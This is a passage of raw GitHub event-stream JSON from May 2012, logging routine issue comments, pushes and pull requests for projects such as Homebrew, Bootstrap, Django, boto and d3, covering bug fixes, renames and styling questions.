me?","updated_at":"2012-05-20T10:22:07Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/comments/5807859","id":5807859,"user":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"}},"action":"created","issue":{"number":12215,"created_at":"2012-05-12T19:12:18Z","pull_request":{"diff_url":"https://github.com/mxcl/homebrew/pull/12215.diff","patch_url":"https://github.com/mxcl/homebrew/pull/12215.patch","html_url":"https://github.com/mxcl/homebrew/pull/12215"},"comments":2,"title":"Upgrade ArangoDB (formally known as AvocadoDB) to 0.5.0","body":"We had to rename AvocadoDB to ArangoDB due to legal issues.","updated_at":"2012-05-20T10:22:07Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/12215","id":4548813,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/mxcl/homebrew/issues/12215","user":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"},"labels":[{"name":"renames","url":"https://api.github.com/repos/mxcl/homebrew/labels/renames","color":"e102d8"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T10:22:08Z","id":"1553905852","actor":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T10:20:14Z","body":"Cfernandi, thanks, but that didn't help. The words aren't smushing together, it's just one of the words is too long and overflows the right of the screen. I guess I'll just have to get a shorter surname :P","updated_at":"2012-05-20T10:20:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807847","id":5807847,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6eff6b838ee9a1b1d5defa126a714ffc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6eff6b838ee9a1b1d5defa126a714ffc","url":"https://api.github.com/users/hughrawlinson","id":829836,"login":"hughrawlinson"}},"action":"created","issue":{"number":3230,"created_at":"2012-04-25T17:20:27Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"When you use a button to present a modal on mobile, the screen turns black, and only does the modal appear after some crafty scrolling and zooming. This is not apparent to a new user.\r\n\r\nAny fixes?\r\n\r\nMore discussion on the problem here: https://github.com/twitter/bootstrap/issues/1036","comments":16,"title":"Modals in 2.0 are broken on mobile.","updated_at":"2012-05-20T10:20:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3230","id":4285344,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3230","user":{"avatar_url":"https://secure.gravatar.com/avatar/c8112e74c84fea5e2faccbc7da3c2ba9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c8112e74c84fea5e2faccbc7da3c2ba9","url":"https://api.github.com/users/ATSiem","id":1068543,"login":"ATSiem"},"labels":[{"name":"css","url":"https://api.github.com/repos/twitter/bootstrap/labels/css","color":"7a43b6"},{"name":"responsive","url":"https://api.github.com/repos/twitter/bootstrap/labels/responsive","color":"ae8bd4"}],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T10:20:18Z","id":"1553905709","actor":{"avatar_url":"https://secure.gravatar.com/avatar/6eff6b838ee9a1b1d5defa126a714ffc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6eff6b838ee9a1b1d5defa126a714ffc","url":"https://api.github.com/users/hughrawlinson","id":829836,"login":"hughrawlinson"}},{"type":"PushEvent","payload":{"head":"b0c1e5c081472436bf2300af3073cef1df1bd696","size":1,"push_id":79403570,"ref":"refs/heads/master","commits":[{"sha":"b0c1e5c081472436bf2300af3073cef1df1bd696","author":{"name":"Aymeric Augustin","email":"aymeric.augustin@m4x.org"},"url":"https://api.github.com/repos/django/django/commits/b0c1e5c081472436bf2300af3073cef1df1bd696","distinct":true,"message":"Documented next/previous_week. Refs #10890."}]},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/orgs/django","id":27804,"login":"django"},"repo":{"url":"https://api.github.com/repos/django/django","id":4164482,"name":"django/django"},"created_at":"2012-05-20T09:58:44Z","id":"1553903002","actor":{"avatar_url":"https://secure.gravatar.com/avatar/ec12d7f60c595a45665f74b651aefabe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"ec12d7f60c595a45665f74b651aefabe","url":"https://api.github.com/users/aaugustin","id":788910,"login":"aaugustin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T09:27:14Z","body":"Please excuse the crudity of this model... ;) I'm too exhausted to really pretty it up right now, but here's a new mock-up based on a combination of my old one and some of the others I've seen here: http://jsfiddle.net/VEW2K/\n\nA rundown:\n\n* No javascript.\n* No extra tags (just a checkbox and a label).\n* Should degrade gracefully.\n\nI have not tested it in IE or Firefox, and I was not able to get CSS transitions working on the :before and :after pseudo content, so maybe someone else will have better luck. But I think it's cleaner than my old test, and I prefer a non-JS solution personally.","updated_at":"2012-05-20T09:27:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807584","id":5807584,"user":{"avatar_url":"https://secure.gravatar.com/avatar/02688ffd42b4265a4fa2ca1683115e4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"02688ffd42b4265a4fa2ca1683115e4e","url":"https://api.github.com/users/thomshouse","id":75411,"login":"thomshouse"}},"action":"created","issue":{"number":1935,"created_at":"2012-02-13T00:05:29Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":39,"body":"Not sure if anyone has mentioned this or not, but it would be cool to have something like this:\r\n\r\nhttp://papermashup.com/demos/ajax-switch/","title":"Create ON/OFF Switch","updated_at":"2012-05-20T09:27:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/1935","id":3194346,"assignee":null,"milestone":{"number":7,"created_at":"2012-01-09T17:18:56Z","due_on":null,"title":"v2.1.0","creator":{"avatar_url":"https://secure.gravatar.com/avatar/bc4ab438f7a4ce1c406aadc688427f2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bc4ab438f7a4ce1c406aadc688427f2c","url":"https://api.github.com/users/markdotto","id":98681,"login":"markdotto"},"url":"https://api.github.com/repos/twitter/bootstrap/milestones/7","id":71627,"closed_issues":4,"open_issues":15,"description":"","state":"open"},"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/1935","user":{"avatar_url":"https://secure.gravatar.com/avatar/25fb0acc0fc379c2974004bb5d050bc2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25fb0acc0fc379c2974004bb5d050bc2","url":"https://api.github.com/users/adetwiler","id":1124801,"login":"adetwiler"},"labels":[{"name":"feature","url":"https://api.github.com/repos/twitter/bootstrap/labels/feature","color":"4bb14b"}],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T09:27:16Z","id":"1553896923","actor":{"avatar_url":"https://secure.gravatar.com/avatar/02688ffd42b4265a4fa2ca1683115e4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"02688ffd42b4265a4fa2ca1683115e4e","url":"https://api.github.com/users/thomshouse","id":75411,"login":"thomshouse"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":3546,"created_at":"2012-05-20T09:00:43Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"I have a problem when I integrate the content with jquery \".load\" (a form for example) in a modal window or a single page. All scripts tooltips, popover, datepicker no longer starts?\n\nBy cons scripts work fine in a normal page.\n\nIf I integrate content directly in the tags \"modal-body\" of the modal window, the scripts work perfectly\n\nThe objective is to integrate a form on the fly, in a single modal window, after the click of a button. But once the loaded content such as a datepicker does not work! or the tooltips on a label, ...\n\nhere a test : http://testcode.olvani.net/test2\n\nThank for reply\nOlivier","comments":0,"title":"Problem for load script (tooltips, popover,...) after use jquery .load dynamic content","updated_at":"2012-05-20T09:00:43Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3546","id":4658922,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3546","user":{"avatar_url":"https://secure.gravatar.com/avatar/36677d5ad489b685b3a437a247733339?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"36677d5ad489b685b3a437a247733339","url":"https://api.github.com/users/olvani","id":1643481,"login":"olvani"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T09:00:45Z","id":"1553894937","actor":{"avatar_url":"https://secure.gravatar.com/avatar/36677d5ad489b685b3a437a247733339?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"36677d5ad489b685b3a437a247733339","url":"https://api.github.com/users/olvani","id":1643481,"login":"olvani"}},{"type":"PullRequestEvent","payload":{"number":3545,"pull_request":{"issue_url":"https://github.com/twitter/bootstrap/issues/3545","number":3545,"head":{"repo":{"name":"bootstrap","size":120,"created_at":"2012-05-20T08:48:41Z","has_wiki":true,"clone_url":"https://github.com/pvorb/bootstrap.git","private":false,"watchers":1,"updated_at":"2012-05-20T08:54:22Z","ssh_url":"git@github.com:pvorb/bootstrap.git","fork":true,"url":"https://api.github.com/repos/pvorb/bootstrap","git_url":"git://github.com/pvorb/bootstrap.git","language":"JavaScript","id":4383503,"pushed_at":"2012-05-20T08:54:22Z","svn_url":"https://github.com/pvorb/bootstrap","has_downloads":true,"mirror_url":null,"open_issues":0,"has_issues":false,"homepage":"http://twitter.github.com/bootstrap","description":"HTML, CSS, and JS toolkit from Twitter","forks":0,"html_url":"https://github.com/pvorb/bootstrap","owner":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},"label":"pvorb:patch-1","sha":"faf2866f96513dc1c2775974518d979feb554dbd","ref":"patch-1","user":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},"merged":false,"created_at":"2012-05-20T08:55:24Z","merged_by":null,"changed_files":1,"comments":0,"body":"Fix for issue #3543","title":"Remove re-declaration of font-fam, font-size, and line-height in p","diff_url":"https://github.com/twitter/bootstrap/pull/3545.diff","updated_at":"2012-05-20T08:55:24Z","additions":0,"_links":{"html":{"href":"https://github.com/twitter/bootstrap/pull/3545"},"self":{"href":"https://api.github.com/repos/twitter/bootstrap/pulls/3545"},"comments":{"href":"https://api.github.com/repos/twitter/bootstrap/issues/3545/comments"},"issue":{"href":"https://api.github.com/repos/twitter/bootstrap/issues/3545"},"review_comments":{"href":"https://api.github.com/repos/twitter/bootstrap/pulls/3545/comments"}},"url":"https://api.github.com/repos/twitter/bootstrap/pulls/3545","id":1388338,"patch_url":"https://github.com/twitter/bootstrap/pull/3545.patch","mergeable":null,"merged_at":null,"commits":1,"closed_at":null,"user":{"gravatar_id":"b30a7c139117a36a3f2cc2958942847e","avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"},"deletions":3,"review_comments":0,"html_url":"https://github.com/twitter/bootstrap/pull/3545","state":"open","base":{"repo":{"name":"bootstrap","size":1244,"created_at":"2011-07-29T21:19:00Z","has_wiki":true,"clone_url":"https://github.com/twitter/bootstrap.git","private":false,"watchers":29097,"updated_at":"2012-05-20T08:48:41Z","ssh_url":"git@github.com:twitter/bootstrap.git","fork":false,"url":"https://api.github.com/repos/twitter/bootstrap","git_url":"git://github.com/twitter/bootstrap.git","language":"JavaScript","id":2126244,"pushed_at":"2012-05-18T05:00:54Z","svn_url":"https://github.com/twitter/bootstrap","has_downloads":true,"mirror_url":null,"open_issues":222,"has_issues":true,"homepage":"http://twitter.github.com/bootstrap","description":"HTML, CSS, and JS toolkit from Twitter","forks":5699,"html_url":"https://github.com/twitter/bootstrap","owner":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","id":50278,"login":"twitter"}},"label":"twitter:master","sha":"b261f9781bbf31f499cb55c49451dc0c0ad43062","ref":"master","user":{"gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/twitter","id":50278,"login":"twitter"}}},"action":"opened"},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T08:55:26Z","id":"1553894547","actor":{"avatar_url":"https://secure.gravatar.com/avatar/b30a7c139117a36a3f2cc2958942847e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b30a7c139117a36a3f2cc2958942847e","url":"https://api.github.com/users/pvorb","id":183534,"login":"pvorb"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T08:33:02Z","body":"This should be removed. It's not necessary because of traversing.","updated_at":"2012-05-20T08:33:02Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807352","id":5807352,"user":{"avatar_url":"https://secure.gravatar.com/avatar/4c39d9893256e9da887449f1d90d9562?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4c39d9893256e9da887449f1d90d9562","url":"https://api.github.com/users/macx","id":84112,"login":"macx"}},"action":"created","issue":{"number":3543,"created_at":"2012-05-19T08:23:49Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"The attributes `font-family`, `font-size` and `line-height` are set identically for both `` and `

`. What's the rationale for repeating the declaration in `

`? Regards, Christian","title":"Font assignment overdone?","updated_at":"2012-05-20T08:33:02Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3543","id":4653303,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3543","user":{"avatar_url":"https://secure.gravatar.com/avatar/04d99189f86d1d269b04876e68092784?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04d99189f86d1d269b04876e68092784","url":"https://api.github.com/users/datenimperator","id":112130,"login":"datenimperator"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T08:33:04Z","id":"1553892964","actor":{"avatar_url":"https://secure.gravatar.com/avatar/4c39d9893256e9da887449f1d90d9562?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4c39d9893256e9da887449f1d90d9562","url":"https://api.github.com/users/macx","id":84112,"login":"macx"}},{"type":"PushEvent","payload":{"head":"4986f61c9ce00ce792683cce9e47ea1579631155","size":2,"push_id":79397931,"commits":[{"sha":"9c52a9b0ee98d1dce4a427e8a09307d399fe414d","author":{"name":"Bryan Donlan","email":"bdonlan@amazon.com"},"url":"https://api.github.com/repos/boto/boto/commits/9c52a9b0ee98d1dce4a427e8a09307d399fe414d","distinct":true,"message":"Fix infinite loop when listing a large (100+) number of tables in dynamodb"},{"sha":"4986f61c9ce00ce792683cce9e47ea1579631155","author":{"name":"Mitch Garnaat","email":"mitch@garnaat.com"},"url":"https://api.github.com/repos/boto/boto/commits/4986f61c9ce00ce792683cce9e47ea1579631155","distinct":true,"message":"Removing extraneous host param from Layer2 contructor."}],"ref":"refs/heads/develop"},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/orgs/boto","id":327752,"login":"boto"},"repo":{"url":"https://api.github.com/repos/boto/boto","id":771016,"name":"boto/boto"},"created_at":"2012-05-20T07:40:29Z","id":"1553889294","actor":{"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"login":"garnaat"}},{"type":"PullRequestEvent","payload":{"number":770,"pull_request":{"issue_url":"https://github.com/boto/boto/issues/770","head":{"repo":{"name":"boto","master_branch":"develop","created_at":"2012-05-19T23:11:59Z","size":120,"has_wiki":true,"clone_url":"https://github.com/bdonlan/boto.git","updated_at":"2012-05-19T23:13:56Z","private":false,"watchers":1,"language":"Python","git_url":"git://github.com/bdonlan/boto.git","ssh_url":"git@github.com:bdonlan/boto.git","fork":true,"url":"https://api.github.com/repos/bdonlan/boto","id":4381487,"pushed_at":"2012-05-19T23:13:56Z","svn_url":"https://github.com/bdonlan/boto","open_issues":0,"mirror_url":null,"has_downloads":true,"has_issues":false,"homepage":"http://boto.readthedocs.org/","forks":0,"description":"Python interface to Amazon Web Services","html_url":"https://github.com/bdonlan/boto","owner":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"}},"label":"bdonlan:develop","sha":"9c52a9b0ee98d1dce4a427e8a09307d399fe414d","ref":"develop","user":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"}},"number":770,"created_at":"2012-05-19T23:15:06Z","changed_files":1,"merged_by":{"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"login":"garnaat"},"merged":true,"body":"The current code loops when there are more tables, but continues requesting a list from the start, leading to an infinite loop.","comments":0,"title":"Fix infinite loop when listing a large (100+) number of tables in dynamodb","updated_at":"2012-05-20T07:40:29Z","additions":7,"diff_url":"https://github.com/boto/boto/pull/770.diff","_links":{"html":{"href":"https://github.com/boto/boto/pull/770"},"self":{"href":"https://api.github.com/repos/boto/boto/pulls/770"},"comments":{"href":"https://api.github.com/repos/boto/boto/issues/770/comments"},"issue":{"href":"https://api.github.com/repos/boto/boto/issues/770"},"review_comments":{"href":"https://api.github.com/repos/boto/boto/pulls/770/comments"}},"url":"https://api.github.com/repos/boto/boto/pulls/770","id":1387801,"patch_url":"https://github.com/boto/boto/pull/770.patch","mergeable":null,"merged_at":"2012-05-20T07:40:29Z","closed_at":"2012-05-20T07:40:29Z","commits":1,"html_url":"https://github.com/boto/boto/pull/770","user":{"avatar_url":"https://secure.gravatar.com/avatar/53e4dcccc5d1dbef4a3babf0cb6ba6fc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"53e4dcccc5d1dbef4a3babf0cb6ba6fc","url":"https://api.github.com/users/bdonlan","id":9473,"login":"bdonlan"},"review_comments":0,"deletions":2,"state":"closed","base":{"repo":{"name":"boto","master_branch":"develop","created_at":"2010-07-12T19:15:33Z","size":4183,"has_wiki":true,"clone_url":"https://github.com/boto/boto.git","updated_at":"2012-05-20T07:40:28Z","private":false,"watchers":1519,"language":"Python","git_url":"git://github.com/boto/boto.git","ssh_url":"git@github.com:boto/boto.git","fork":false,"url":"https://api.github.com/repos/boto/boto","id":771016,"pushed_at":"2012-05-20T07:40:27Z","svn_url":"https://github.com/boto/boto","open_issues":131,"mirror_url":null,"has_downloads":true,"has_issues":true,"homepage":"http://boto.readthedocs.org/","forks":395,"description":"Python interface to Amazon Web Services","html_url":"https://github.com/boto/boto","owner":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","id":327752,"login":"boto"}},"label":"boto:develop","sha":"0bd4d8b270fd5796e2e8b570f8703410bdd02820","ref":"develop","user":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","id":327752,"login":"boto"}}},"action":"closed"},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/orgs/boto","id":327752,"login":"boto"},"repo":{"url":"https://api.github.com/repos/boto/boto","id":771016,"name":"boto/boto"},"created_at":"2012-05-20T07:40:29Z","id":"1553889293","actor":{"avatar_url":"https://secure.gravatar.com/avatar/c3dc609a225fde3f6d0395ac59c576ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c3dc609a225fde3f6d0395ac59c576ce","url":"https://api.github.com/users/garnaat","id":2056,"login":"garnaat"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T07:39:27Z","body":"Good idea although I wonder if /Versions/1.8/ might be even better considering we die on our arse with 1.9.","updated_at":"2012-05-20T07:39:27Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/comments/5807134","id":5807134,"user":{"avatar_url":"https://secure.gravatar.com/avatar/215e0166d4d8265395c5d9076da73c70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"215e0166d4d8265395c5d9076da73c70","url":"https://api.github.com/users/mikemcquaid","id":125011,"login":"mikemcquaid"}},"action":"created","issue":{"number":12333,"created_at":"2012-05-20T01:39:12Z","pull_request":{"diff_url":"https://github.com/mxcl/homebrew/pull/12333.diff","patch_url":"https://github.com/mxcl/homebrew/pull/12333.patch","html_url":"https://github.com/mxcl/homebrew/pull/12333"},"body":"re: #12009, this commit replaces all usages of /usr/bin/ruby with the full Framework path, which is *hopefully* less likely to be altered.\n\nSince we're no longer dealing with a default ruby path which is a symlink, I simplified the `brew --config` checks for the system ruby.","title":"Replace /usr/bin/ruby with full Framework path","comments":2,"updated_at":"2012-05-20T07:39:27Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/12333","id":4657778,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/mxcl/homebrew/issues/12333","user":{"avatar_url":"https://secure.gravatar.com/avatar/f5f2035f07c635d24c62cf211d37f3d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f5f2035f07c635d24c62cf211d37f3d4","url":"https://api.github.com/users/mistydemeo","id":780485,"login":"mistydemeo"},"labels":[],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T07:39:29Z","id":"1553889227","actor":{"avatar_url":"https://secure.gravatar.com/avatar/215e0166d4d8265395c5d9076da73c70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"215e0166d4d8265395c5d9076da73c70","url":"https://api.github.com/users/mikemcquaid","id":125011,"login":"mikemcquaid"}},{"type":"PullRequestEvent","payload":{"number":648,"pull_request":{"issue_url":"https://github.com/mbostock/d3/issues/648","head":{"repo":{"name":"d3","created_at":"2012-05-20T05:25:26Z","size":208,"has_wiki":true,"clone_url":"https://github.com/eghm/d3.git","updated_at":"2012-05-20T05:44:03Z","private":false,"watchers":1,"git_url":"git://github.com/eghm/d3.git","ssh_url":"git@github.com:eghm/d3.git","fork":true,"language":"JavaScript","url":"https://api.github.com/repos/eghm/d3","id":4382862,"pushed_at":"2012-05-20T05:44:02Z","svn_url":"https://github.com/eghm/d3","open_issues":0,"mirror_url":null,"has_downloads":true,"has_issues":false,"homepage":"http://d3js.org","forks":0,"description":"A JavaScript visualization library for HTML and SVG.","html_url":"https://github.com/eghm/d3","owner":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},"label":"eghm:master","sha":"4501a5e68ad31f3ea85983188f1a75906f3afd6d","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},"number":648,"created_at":"2012-05-20T05:47:07Z","changed_files":1,"merged_by":null,"merged":false,"body":"An undefined import causes a fatal error in the bundle-radial demo. This commit avoids the error, the ui will go on to draw a line to a blank node. To recreate initial undefined error add a un-\"name\"ed node to one of the imports in examples/data/flare-imports.\n\nThanks for sharing such an awesome tool.\n","comments":0,"title":"add start and end parent != undefined in d3_layout_bundlePath 